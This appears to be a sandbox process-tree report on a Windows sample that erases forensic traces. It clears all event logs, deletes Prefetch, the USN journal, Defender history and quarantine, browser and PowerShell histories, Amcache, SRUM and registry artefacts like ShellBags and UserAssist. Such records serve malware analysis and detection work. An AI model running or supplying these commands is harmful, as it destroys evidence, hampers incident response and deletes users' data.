C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Microsoft-Windows-WMI-Activity/Operational" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-WMI-Activity/Operational"3⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Microsoft-Windows-Sysmon/Operational" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Sysmon/Operational"3⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Microsoft-Windows-AppLocker/EXE and DLL" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/EXE and DLL"3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %L in ('wevtutil el') do wevtutil cl "%L" 2>nul2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wevtutil el3⤵
-
C:\Windows\system32\wevtutil.exewevtutil el4⤵
-
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "AMSI/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "AirSpaceChannel"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Application"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "DirectShowFilterGraph"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "DirectShowPluginControl"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Els_Hyphenation/Analytic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "EndpointMapper"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "FirstUXPerf-Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "ForwardedEvents"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "General Logging"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "HardwareEvents"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "IHM_DebugChannel"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS-GPIO/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS-I2C/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS2-GPIO2/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS2-GPIO2/Performance"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS2-I2C/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Intel-iaLPSS2-I2C/Performance"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Internet Explorer"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Key Management Service"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MF_DshowReverseBridge"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MF_MediaFoundationDeviceMFT"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MF_MediaFoundationDeviceProxy"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MF_MediaFoundationFrameServer"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MedaFoundationVideoProc"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MedaFoundationVideoProcD3D"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationAsyncWrapper"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationContentProtection"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationDS"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationDeviceProxy"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationMP4"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationMediaEngine"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationPerformance"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationPerformanceCore"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationPipeline"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationPlatform"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "MediaFoundationSrcPrefetch"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-Client-Streamingux/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-Client/Admin"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-Client/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-Client/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-Client/Virtual Applications"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-AppV-SharedPerformance/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-License-Flexible-Platform/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-License-Flexible-Platform/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-License-Flexible-Platform/Diagnostic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-Licensing-Platform/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-Licensing-Platform/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Client-Licensing-Platform/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-IE/Diagnostic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-IEFRAME/Diagnostic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-JSDumpHeap/Diagnostic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-OneCore-Setup/Analytic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-PerfTrack-MSHTML/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-System-Diagnostics-DiagnosticInvoker/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-Admin/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-Agent Driver/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-App Agent/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-App Agent/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-App Agent/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-IPC/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-SQM Uploader/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-SQM Uploader/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AAD/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AAD/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ADSI/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ASN1/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ATAPort/General"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ATAPort/SATA-LPM"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AccelLib-AccelCx/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ActionQueue/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-All-User-Install-Agent/Admin"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppHost/Admin"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppHost/ApplicationTracing"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppHost/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppHost/Internal"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppID/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/EXE and DLL"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/MSI and Script"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/Packaged app-Execution"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppLocker/Verbose"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-Runtime/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-Runtime/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-Runtime/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-Runtime/Diagnostics"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-State/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppModel-State/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppReadiness/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppReadiness/Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppReadiness/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppSruProv"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeployment/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeployment/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeploymentServer/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeploymentServer/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeploymentServer/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppXDeploymentServer/Restricted"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ApplicabilityEngine/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-ApplicabilityEngine/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application Server-Applications/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application Server-Applications/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application Server-Applications/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application Server-Applications/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Inventory"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Program-Telemetry"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Application-Experience/Steps-Recorder"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppxPackaging/Debug"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppxPackaging/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AppxPackaging/Performance"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AssignedAccess/Admin"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AssignedAccess/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AssignedAccessBroker/Admin"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AssignedAccessBroker/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AsynchronousCausality/Causality"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/CaptureMonitor"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/GlitchDetection"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/Informational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/Performance"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audio/PlaybackManager"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Audit/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Authentication User Interface/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Authentication/ProtectedUser-Client"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-AxInstallService/Log"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BTH-BTHPORT/HCI"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BTH-BTHPORT/L2CAP"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BTH-BTHUSB/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BTH-BTHUSB/Performance"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BackgroundTaskInfrastructure/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Backup"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Base-Filtering-Engine-Connections/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Battery/Diagnostic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Biometrics/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Biometrics/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker-Driver-Performance/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker/BitLocker Management"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker/BitLocker Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BitLocker/Tracing"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bits-Client/Analytic"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bits-Client/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bluetooth-Bthmini/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-Bluetooth-Policy/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BranchCache/Operational"3⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"3⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f /s /q C:\Windows\Prefetch\*.* 2>nul2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /d C: 2>nul2⤵
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /d C:3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /d D: 2>nul2⤵
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /d D:3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "C:\ProgramData\Microsoft\Windows Defender\Scans\History\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "C:\ProgramData\Microsoft\Windows Defender\Quarantine\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c net stop WSearch /y 2>nul2⤵
-
C:\Windows\system32\net.exenet stop WSearch /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WSearch /y4⤵
-
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%LOCALAPPDATA%\Microsoft\Windows\Explorer\thumbcache_*.db" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%LOCALAPPDATA%\Microsoft\Windows\Explorer\iconcache*.db" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%APPDATA%\Microsoft\Windows\Recent\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "%APPDATA%\Microsoft\Windows\WER\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s /q "C:\ProgramData\Microsoft\Windows\WER\*" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f "%LOCALAPPDATA%\Google\Chrome\User Data\Default\History" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s "%APPDATA%\Mozilla\Firefox\Profiles\*.default*\places.sqlite" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c del /f /s "%APPDATA%\Mozilla\Firefox\Profiles\*.default*\downloads.sqlite" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\Shell\BagMRU" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\Shell\BagMRU" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\Shell\Bags" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\Shell\Bags" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f "C:\Windows\AppCompat\Programs\Amcache.hve" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f "C:\Windows\AppCompat\Programs\Amcache.hve.LOG1" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f "C:\Windows\AppCompat\Programs\Amcache.hve.LOG2" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c net stop srum /y 2>nul2⤵
-
C:\Windows\system32\net.exenet stop srum /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srum /y4⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f "C:\Windows\System32\sru\SRUDB.dat" 2>nul2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ipconfig /flushdns 2>nul2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $false" 2>nul2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $false"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
